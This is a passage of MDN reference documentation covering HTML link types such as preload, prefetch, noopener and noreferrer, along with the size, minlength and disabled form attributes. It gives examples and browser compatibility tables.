resource — for example, by fetching its subresources or performing some rendering in the background offscreen. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-prerender](https://html.spec.whatwg.org/multipage/links.html#link-type-prerender) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `prerender` | 13 | 79 | No | 11 | 15 | No | 4.4 | 18 | No | 14 | No | 1.5 | html Link types: me Link types: me ============== The `me` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) and [`<a>`](../element/a) elements indicates that the current resource is represented by the linked party. The `me` value was introduced in the [XHTML Friends Network (XFN) specification](https://gmpg.org/xfn/). ``` <link rel="me" value="example.com" /> ``` The `rel="me"` attribute is used in [RelMeAuth](https://microformats.org/wiki/RelMeAuth) and [Web sign in](https://microformats.org/wiki/web-sign-in) specifications as a way to enable a person to identify themselves to a web service using their domain name or a particular URL. Specifications -------------- **No specification found**No specification data found for `html.elements.link.rel.me`. [Check for problems with this page](#on-github) or contribute a missing `spec_url` to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). Also make sure the specification is included in [w3c/browser-specs](https://github.com/w3c/browser-specs). Browser compatibility --------------------- No compatibility data found for `html.elements.link.rel.me`. [Check for problems with this page](#on-github) or contribute missing data to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). html Link types: manifest Link types: manifest ==================== **Experimental:** **This is an [experimental technology](https://developer.mozilla.org/en-US/docs/MDN/Writing_guidelines/Experimental_deprecated_obsolete#experimental)** Check the [Browser compatibility table](#browser_compatibility) carefully before using this in production. The `manifest` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) element indicates that the target resource is a [Web app manifest](https://developer.mozilla.org/en-US/docs/Web/Manifest). Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-manifest](https://html.spec.whatwg.org/multipage/links.html#link-type-manifest) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `manifest` | No | No | No | No | No | No | 39 | 39 | No | No | No | 4.0 | html Link types: modulepreload Link types: modulepreload ========================= The `modulepreload` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) element provides a declarative way to preemptively fetch a [module script](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) and its dependencies, and store them in the document's module map for later evaluation. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-modulepreload](https://html.spec.whatwg.org/multipage/links.html#link-type-modulepreload) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `modulepreload` | 66 | ≤79 | No | No | 53 | No | 66 | 66 | No | 47 | No | 9.0 | html Link types: dns-prefetch Link types: dns-prefetch ======================== The `dns-prefetch` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing DNS resolution for that origin. See [Using dns-prefetch](https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch) for more details. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-dns-prefetch](https://html.spec.whatwg.org/multipage/links.html#link-type-dns-prefetch) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `dns-prefetch` | 46 | ≤79 | 3 | No | 33 | No | 46 | Yes | 4 | No | No | Yes | html Link types: noreferrer Link types: noreferrer ====================== The `noreferrer` keyword for the [`rel`](../attributes/rel) attribute of the [`<a>`](../element/a), [`<area>`](../element/area), and [`<form>`](../element/form) elements instructs the browser, when navigating to the target resource, to omit the [`Referer`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header and otherwise leak no referrer information — and additionally to behave as if the [`noopener`](noopener) keyword were also specified. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-noreferrer](https://html.spec.whatwg.org/multipage/links.html#link-type-noreferrer) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `noreferrer` | 16 | 13 | 33 | 11 Only supported in IE11 in later versions of Windows 10 (creators update). (Per caniuse.com.) | 15 | 5 | 3 | 18 | 33 | 14 | 4.2 | 1.5 | html Link types: preload Link types: preload =================== The `preload` value of the [`<link>`](../element/link) element's [`rel`](../element/link#attr-rel) attribute lets you declare fetch requests in the HTML's [`<head>`](../element/head), specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle, before browsers' main rendering machinery kicks in. This ensures they are available earlier and are less likely to block the page's render, improving performance. Even though the name contains the term *load*, it doesn't load and execute the script but only schedules it to be downloaded and cached with a higher priority. The basics ---------- You most commonly use `<link>` to load a CSS file to style your page with: ``` <link rel="stylesheet" href="styles/main.css" /> ``` Here however, we will use a `rel` value of `preload`, which turns `<link>` into a preloader for any resource we want. You will also need to specify: * The path to the resource in the [`href`](../element/link#attr-href) attribute. * The type of resource in the [`as`](../element/link#attr-as) attribute. A simple example might look like this (see our [JS and CSS example source](https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css), and [also live](https://mdn.github.io/html-examples/link-rel-preload/js-and-css/)): ``` <head> <meta charset="utf-8" /> <title>JS and CSS preload example</title> <link rel="preload" href="style.css" as="style" /> <link rel="preload" href="main.js" as="script" /> <link rel="stylesheet" href="style.css" /> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> ``` Here we preload our CSS and JavaScript files so they will be available as soon as they are required for the rendering of the page later on. This example is trivial, as the browser probably discovers the `<link rel="stylesheet">` and `<script>` elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example: * Resources that are pointed to from inside CSS, like fonts or images. * Resources that JavaScript can request, like JSON, imported scripts, or web workers. * Larger images and video files. `preload` has other advantages too. Using `as` to specify the type of content to be preloaded allows the browser to: * Prioritize resource loading more accurately. * Store in the cache for future requests, reusing the resource if appropriate. * Apply the correct [content security policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) to the resource. * Set the correct [`Accept`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept) request headers for it. ### What types of content can be preloaded? Many content types can be preloaded. The possible `as` attribute values are: * `audio`: Audio file, as typically used in [`<audio>`](../element/audio). * `document`: An HTML document intended to be embedded by a [`<frame>`](../element/frame) or [`<iframe>`](../element/iframe). * `embed`: A resource to be embedded inside an [`<embed>`](../element/embed) element. * `fetch`: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer, WebAssembly/WASM binary, or JSON file. * `font`: Font file. * `image`: Image file. * `object`: A resource to be embedded inside an [`<object>`](../element/object) element. * `script`: JavaScript file. * `style`: CSS stylesheet. * `track`: WebVTT file. * `worker`: A JavaScript web worker or shared worker. * `video`: Video file, as typically used in [`<video>`](../element/video). **Note:** `font` and `fetch` preloading requires the `crossorigin` attribute to be set; see [CORS-enabled fetches](#cors-enabled_fetches) below. **Note:** There's more detail about these values and the web features they expect to be consumed by in the Preload spec — see [link element extensions](https://w3c.github.io/preload/#link-element-extensions). Also note that the full list of values the `as` attribute can take is governed by the Fetch spec — see [request destinations](https://fetch.spec.whatwg.org/#concept-request-destination). Including a MIME type --------------------- `<link>` elements can accept a [`type`](../element/link#attr-type) attribute, which contains the MIME type of the resource the element points to. This is especially useful when preloading resources — the browser will use the `type` attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not. You can see an example of this in our video example (see the [full source code](https://github.com/mdn/html-examples/tree/master/link-rel-preload/video), and also [the live version](https://mdn.github.io/html-examples/link-rel-preload/video/)), a code snippet from which is shown below. And while this code won't actually cause preloading in any browsers — because video preloading isn't yet supported in any browsers — it still illustrates the core behavior behind preloading in general. ``` <head> <meta charset="utf-8" /> <title>Video preload example</title> <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4" /> </head> <body> <video controls> <source src="sintel-short.mp4" type="video/mp4" /> <source src="sintel-short.webm" type="video/webm" /> <p> Your browser doesn't support HTML video. Here is a <a href="sintel-short.mp4">link to the video</a> instead. </p> </video> </body> ``` The code in the example above causes the `video/mp4` video to be preloaded only in supporting browsers — and for users who have `video/mp4` support in their browsers, causes the `video/mp4` video to actually be used (since it's the first [`<source>`](../element/source) specified). That makes the video player hopefully smoother/more responsive for users who have `video/mp4` support in their browsers. Note that for users whose browsers have both `video/mp4` and `video/webm` support, if in that code a `<link rel="preload" href="sintel-short.webm" as="video" type="video/webm">` element were also specified, then *both* the `video/mp4` and `video/webm` videos would be preloaded — even though only one of them would actually be used. Therefore, specifying preloading for multiple types of the same resource is discouraged. Instead, the best practice is to specify preloading only for the type the majority of your users are likely to actually use. That's why the code in the example above doesn't specify preloading for the `video/webm` video. However, the lack of preloading doesn't prevent the `video/webm` video from actually being used by those who need it: for users whose browsers don't have `video/mp4` support but do have `video/webm` support, the code in the example above does still cause the `video/webm` video to be used — but it does so without also causing it to also be preloaded unnecessarily for the majority of other users. CORS-enabled fetches -------------------- When preloading resources that are fetched with [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) enabled (e.g. [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/fetch), [`XMLHttpRequest`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) or [fonts](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face)), special care needs to be taken to setting the [`crossorigin`](../element/link#attr-crossorigin) attribute on your [`<link>`](../element/link) element. The attribute needs to be set to match the resource's CORS and credentials mode, even when the fetch is not cross-origin. As mentioned above, one interesting case where this applies is font files. Because of various reasons, these have to be fetched using anonymous-mode CORS (see [Font fetching requirements](https://drafts.csswg.org/css-fonts/#font-fetching-requirements)). Let's use this case as an example. You can see the full [example source code on GitHub](https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts) ([also see it live](https://mdn.github.io/html-examples/link-rel-preload/fonts/)): ``` <head> <meta charset="utf-8" /> <title>Web font example</title> <link rel="preload" href="fonts/cicle\_fina-webfont.woff2" as="font" type="font/woff2" crossorigin /> <link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin /> <link href="style.css" rel="stylesheet" /> </head> <body> … </body> ``` Not only are we providing the MIME type hints in the `type` attributes, but we are also providing the `crossorigin` attribute to make sure the preload's CORS mode matches the eventual font resource request. Including media --------------- One nice feature of `<link>` elements is their ability to accept [`media`](../element/link#attr-media) attributes. These can accept [media types](https://developer.mozilla.org/en-US/docs/Web/CSS/@media#media_types) or full-blown [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries), allowing you to do responsive preloading! Let's look at an example (see it on GitHub — [source code](https://github.com/mdn/html-examples/tree/master/link-rel-preload/media), [live example](https://mdn.github.io/html-examples/link-rel-preload/media/)): ``` <head> <meta charset="utf-8" /> <title>Responsive preload example</title> <link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)" /> <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)" /> <link rel="stylesheet" href="main.css" /> </head> <body> <header> <h1>My site</h1> </header> <script> const mediaQueryList = window.matchMedia("(max-width: 600px)"); const header = document.querySelector("header"); if (mediaQueryList.matches) { header.style.backgroundImage = "url(bg-image-narrow.png)"; } else { header.style.backgroundImage = "url(bg-image-wide.png)"; } </script> </body> ``` We include `media` attributes on our `<link>` elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport. We use [`Window.matchMedia`](https://developer.mozilla.org/en-US/docs/Web/API/Window/matchMedia) / [`MediaQueryList`](https://developer.mozilla.org/en-US/docs/Web/API/MediaQueryList) to do this (see [Testing media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries) for more). This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text). This doesn't have to be limited to images, or even files of the same type — think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful. Scripting and preloads ---------------------- Another nice thing about these preloads is that you can execute them with script. For example, here we create a [`HTMLLinkElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLLinkElement) instance, then attach it to the DOM: ``` const preloadLink = document.createElement("link"); preloadLink.href = "myscript.js"; preloadLink.rel = "preload"; preloadLink.as = "script"; document.head.appendChild(preloadLink); ``` This means that the browser will preload the `myscript.js` file, but not actually use it yet. To use it, you could do this: ``` const preloadedScript = document.createElement("script"); preloadedScript.src = "myscript.js"; document.body.appendChild(preloadedScript); ``` This is useful when you want to preload a script, but then defer execution until exactly when you need it. Other resource preloading mechanisms ------------------------------------ Other preloading features exist, but none are quite as fit for purpose as `<link rel="preload">`: * `<link rel="prefetch">` has been supported in browsers for a long time, but it is intended for prefetching resources that will be used in the ***next*** navigation/page load (e.g. when you go to the next page). This is fine, but isn't useful for the current page! In addition, browsers will give `prefetch` resources a lower priority than `preload` ones — the current page is more important than the next. See [Link prefetching FAQ](https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ) for more details. * `<link rel="prerender">` renders a specified webpage in the background, speeding up its load if the user navigates to it. Because of the potential to waste users' bandwidth, Chrome treats `prerender` as a [NoState prefetch](https://developer.chrome.com/blog/nostate-prefetch/) instead. * `<link rel="subresource">` Non-standard was supported in Chrome a while ago, and was intended to tackle the same issue as `preload`, but it had a problem: there was no way to work out a priority for the items (`as` didn't exist back then), so they all got fetched with fairly low priority. * There are a number of script-based resource loaders out there, but they don't have any power over the browser's fetch prioritization queue, and are subject to much the same performance problems. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-preload](https://html.spec.whatwg.org/multipage/links.html#link-type-preload) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `preload` | 50 Doesn’t support `as="audio"`, `as="audioworklet"`, `as="document"`, `as="embed"`, `as="manifest"`, `as="object"`, `as="paintworklet"`, `as="report"`, `as="sharedworker"`, `as="video"`, `as="worker"`, or `as="xslt"`. | ≤79 Doesn’t support `as="audio"`, `as="audioworklet"`, `as="document"`, `as="embed"`, `as="manifest"`, `as="object"`, `as="paintworklet"`, `as="report"`, `as="sharedworker"`, `as="video"`, `as="worker"`, or `as="xslt"`. | 85 56-57 Disabled due to various web compatibility issues (e.g. [bug 1405761](https://bugzil.la/1405761)). | No | 37 | No | 50 `as="document"` is unsupported. See [bug 593267](https://crbug.com/593267). | 50 Doesn’t support `as="audio"`, `as="audioworklet"`, `as="document"`, `as="embed"`, `as="manifest"`, `as="object"`, `as="paintworklet"`, `as="report"`, `as="sharedworker"`, `as="video"`, `as="worker"`, or `as="xslt"`. | 85 56-57 Disabled due to various web compatibility issues (e.g. [bug 1405761](https://bugzil.la/1405761)). | No | No | 5.0 `as="document"` is unsupported. See [bug 593267](https://crbug.com/593267). | See also -------- * [Preload: What Is It Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) by Yoav Weiss
programming_docs
html Link types: noopener Link types: noopener ==================== The `noopener` keyword for the [`rel`](../attributes/rel) attribute of the [`<a>`](../element/a), [`<area>`](../element/area), and [`<form>`](../element/form) elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the [`Window.opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener) property on the opened window (it returns `null`). This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the [`Window.opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener) property (see [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/) for more details), while still providing the `Referer` HTTP header (unless `noreferrer` is used as well). Note that when `noopener` is used, nonempty target names other than `_top`, `_self`, and `_parent` are all treated like `_blank` in terms of deciding whether to open a new window/tab. **Note:** Setting `target="_blank"` on `<a>` elements now implicitly provides the same `rel` behavior as setting `rel="noopener"` which does not set `window.opener`. See [browser compatibility](../element/a#browser_compatibility) for support status. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-noopener](https://html.spec.whatwg.org/multipage/links.html#link-type-noopener) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `noopener` | 49 | 79 | 52 Before Firefox 63, `rel="noopener"` created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window. | No | 36 | 10.1 | 49 | 49 | 52 Before Firefox 63, `rel="noopener"` created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window. | 36 | 10.3 | 5.0 | html Link types: preconnect Link types: preconnect ====================== The `preconnect` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin. ``` <link rel="preconnect" href="https://example.com" /> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-preconnect](https://html.spec.whatwg.org/multipage/links.html#link-type-preconnect) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `preconnect` | 46 | 79 | 39 Before Firefox 41, it doesn't obey the `crossorigin` attribute. | No | 33 | 11.1 | 46 | 46 | 39 Before Firefox 41, it doesn't obey the `crossorigin` attribute. | 33 | 11.3 | 4.0 | html Link types: prefetch Link types: prefetch ==================== The `prefetch` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) element is a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource. Specifications -------------- | Specification | | --- | | [HTML Standard # link-type-prefetch](https://html.spec.whatwg.org/multipage/links.html#link-type-prefetch) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `prefetch` | 8 | 12 | 2 | 11 | 15 | No | 4.4 | 18 | 4 | 14 | No | 1.5 | html HTML attribute: size HTML attribute: size ==================== The `size` attribute defines the width of the [`<input>`](../element/input) and the height of the [`<select>`](../element/select) element. For the `input`, if the `type` attribute is [text](../element/input/text) or [password](../element/input/password) then it's the number of characters. This must be an integer value 0 or higher. If no `size` is specified, or an invalid value is specified, the input has no size declared, and the form control will be the default width based on the user agent. If CSS targets the element with properties impacting the width, CSS takes precedence. The `size` attribute has no impact on constraint validation. Try it ------ Examples -------- By adding `size` on some input types, the width of the input can be controlled. Adding size on a select changes the height, defining how many options are visible in the closed state. ``` <label for="fruit">Enter a fruit</label> <input type="text" size="15" id="fruit" /> <label for="vegetable">Enter a vegetable</label> <input type="text" id="vegetable" /> <select name="fruits" size="5"> <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> ``` Specifications -------------- **No specification found**No specification data found for `html.elements.attribute.size`. [Check for problems with this page](#on-github) or contribute a missing `spec_url` to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). Also make sure the specification is included in [w3c/browser-specs](https://github.com/w3c/browser-specs). Browser compatibility --------------------- No compatibility data found for `html.elements.attribute.size`. [Check for problems with this page](#on-github) or contribute missing data to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). See also -------- * [`maxlength`](maxlength) * [`minlength`](minlength) * [`pattern`](pattern) html HTML attribute: minlength HTML attribute: minlength ========================= The `minlength` attribute defines the minimum number of characters (as UTF-16 code units) the user can enter into an [`<input>`](../element/input) or [`<textarea>`](../element/textarea). This must be an integer value 0 or higher. If no minlength is specified, or an invalid value is specified, the input has no minimum length. This value must be less than or equal to the value of <maxlength>, otherwise the value will never be valid, as it is impossible to meet both criteria. The input will fail constraint validation if the length of the text value of the field is less than minlength UTF-16 code units long, with [`validityState.tooShort`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/tooShort) returning `true`. Constraint validation is only applied when the value is changed by the user. Once submission fails, some browsers will display an error message indicating the minimum length required and the current length. Try it ------ Examples -------- By adding `minlength="5"`, the value must either be empty or five characters or longer to be valid. ``` <label for="fruit">Enter a fruit name that is at least 5 letters long</label> <input type="text" minlength="5" id="fruit" /> ``` We can use pseudoclasses to style the element based on whether the value is valid. The value will be valid as long as it is either null (empty) or five or more characters long. *Lime* is invalid, *lemon is valid*. ``` input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus { background-image: linear-gradient(pink, lightgreen); } ``` Specifications -------------- | Specification | | --- | | [HTML Standard # the-maxlength-and-minlength-attributes](https://html.spec.whatwg.org/multipage/input.html#the-maxlength-and-minlength-attributes) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `minlength` | 40 | 17 | 51 | No | 27 | 10.1 | 40 | 40 | 51 | 27 | 10.3 | 4.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `minlength` | 40 | 17 | 51 | No | 27 | 10.1 | 40 | 40 | 51 | 27 | 10.3 | 4.0 | ### html.elements.input.minlength BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.textarea.minlength BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`maxlength`](maxlength) * [`size`](size) * [`pattern`](pattern) * [Constraint validation](../constraint_validation) * [Form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) * [`<input>`](../element/input) html HTML attribute: disabled HTML attribute: disabled ======================== The Boolean `disabled` attribute, when present, makes the element not mutable, focusable, or even submitted with the form. The user can neither edit nor focus on the control, nor its form control descendants. Try it ------ Overview -------- If the `disabled` attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. Often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. The `disabled` attribute is supported by [`<button>`](../element/button), `<command>`, [`<fieldset>`](../element/fieldset), [`<keygen>`](../element/keygen), [`<optgroup>`](../element/optgroup), [`<option>`](../element/option), [`<select>`](../element/select), [`<textarea>`](../element/textarea) and [`<input>`](../element/input). This Boolean disabled attribute indicates that the user cannot interact with the control or its descendant controls. If this attribute is not specified, the control inherits its setting from the containing element, for example `fieldset`; if there is no containing element with the `disabled` attribute set, and the control itself does not have the attribute, then the control is enabled. If declared on an [`<optgroup>`](../element/optgroup), the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable. **Note:** If a [`<fieldset>`](../element/fieldset) is disabled, the descendant form controls are all disabled, with the exception of form controls within the [`<legend>`](../element/legend). When a supporting element has the `disabled` attribute applied, the [`:disabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:disabled) pseudo-class also applies to it. Conversely, elements that support the `disabled` attribute but don't have the attribute set match the [`:enabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:enabled) pseudo-class. This Boolean attribute prevents the user from interacting with the button. If this attribute isn't set, the button can still be disabled from a containing element, for example [`<fieldset>`](../element/fieldset); if there is no containing element with the `disabled` attribute set, then the button is enabled. Firefox will, unlike other browsers, persist the dynamic disabled state of a [`<button>`](../element/button) across page loads. Use the [`autocomplete`](autocomplete) attribute to control this feature. ### Attribute interactions The difference between `disabled` and [`readonly`](readonly) is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. Because a disabled field cannot have its value changed, [`required`](required) does not have any effect on inputs with the `disabled` attribute also specified. Additionally, since the elements become immutable, most other attributes, such as [`pattern`](pattern), have no effect, until the control is enabled. **Note:** The `required` attribute is not permitted on inputs with the `disabled` attribute specified. ### Usability Browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form. If present on a supporting elements, the `[`:disabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:disabled)` pseudo class will match. If the attribute is not included, the `[`:enabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:enabled)` pseudo class will match. If the element doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the `:disabled` and `:enabled` pseudo classes. ### Constraint validation If the element is `disabled`, then the element's value can not receive focus and cannot be updated by the user, and does not participate in constraint validation. Examples -------- When form controls are disabled, many browsers will display them in a lighter, greyed-out color by default. Here are examples of a disabled checkbox, radio button, [`<option>`](../element/option) and [`<optgroup>`](../element/optgroup), as well as some form controls that are disabled via the disabled attribute set on the ancestor `[`<fieldset>`](../element/fieldset)` element. The [`<option>`](../element/option)s are disabled, but the [`<select>`](../element/select) itself is not. We could have disable the entire [`<select>`](../element/select) by adding the attribute to that element rather than its descendants. ``` <fieldset> <legend>Checkboxes</legend> <p> <label> <input type="checkbox" name="chbox" value="regular" /> Regular </label> </p> <p> <label> <input type="checkbox" name="chbox" value="disabled" disabled /> disabled </label> </p> </fieldset> <fieldset> <legend>Radio buttons</legend> <p> <label> <input type="radio" name="radio" value="regular" /> Regular </label> </p> <p> <label> <input type="radio" name="radio" value="disabled" disabled /> disabled </label> </p> </fieldset> <p> <label >Select an option: <select> <optgroup label="Group 1"> <option>Option 1.1</option> </optgroup> <optgroup label="Group 2"> <option>Option 2.1</option> <option disabled>Option 2.2</option> <option>Option 2.3</option> </optgroup> <optgroup label="Group 3" disabled> <option>Disabled 3.1</option> <option>Disabled 3.2</option> <option>Disabled 3.3</option> </optgroup> </select> </label> </p> <fieldset disabled> <legend>Disabled fieldset</legend> <p> <label> Name: <input type="name" name="radio" value="regular" /> Regular </label> </p> <p> <label>Number: <input type="number" /></label> </p> </fieldset> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # attr-fe-disabled](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fe-disabled) | | [HTML Standard # attr-optgroup-disabled](https://html.spec.whatwg.org/multipage/form-elements.html#attr-optgroup-disabled) | | [HTML Standard # attr-option-disabled](https://html.spec.whatwg.org/multipage/form-elements.html#attr-option-disabled) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | 1 | 12 | 1 | ≤6 | ≤12.1 | ≤4 | 4.4 | 18 | 4 | ≤12.1 | ≤3 | 1.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | Yes | 12 | 1 | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | 1 | 12 | 1 | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | 1 | 12 | 1 | 8 | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | 1 | 12 | 1 | 5.5 | ≤12.1 | 1 | 4.4 | 18 | 4 | ≤12.1 | 1 | 1.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | Yes | 12 Does not work with nested fieldsets. For example: `<fieldset disabled><fieldset><!--Still enabled--></fieldset></fieldset>` | Yes | Yes Not all form control descendants of a disabled fieldset are properly disabled in IE11; see IE [bug 817488: input[type='file'] not disabled inside disabled fieldset](https://connect.microsoft.com/IE/feedbackdetail/view/817488) and IE [bug 962368: Can still edit input[type='text'] within fieldset[disabled]](https://connect.microsoft.com/IE/feedbackdetail/view/962368/can-still-edit-input-type-text-within-fieldset-disabled). | 12 | 6 | 4.4 | Yes | Yes | No | 6 | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `disabled` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes 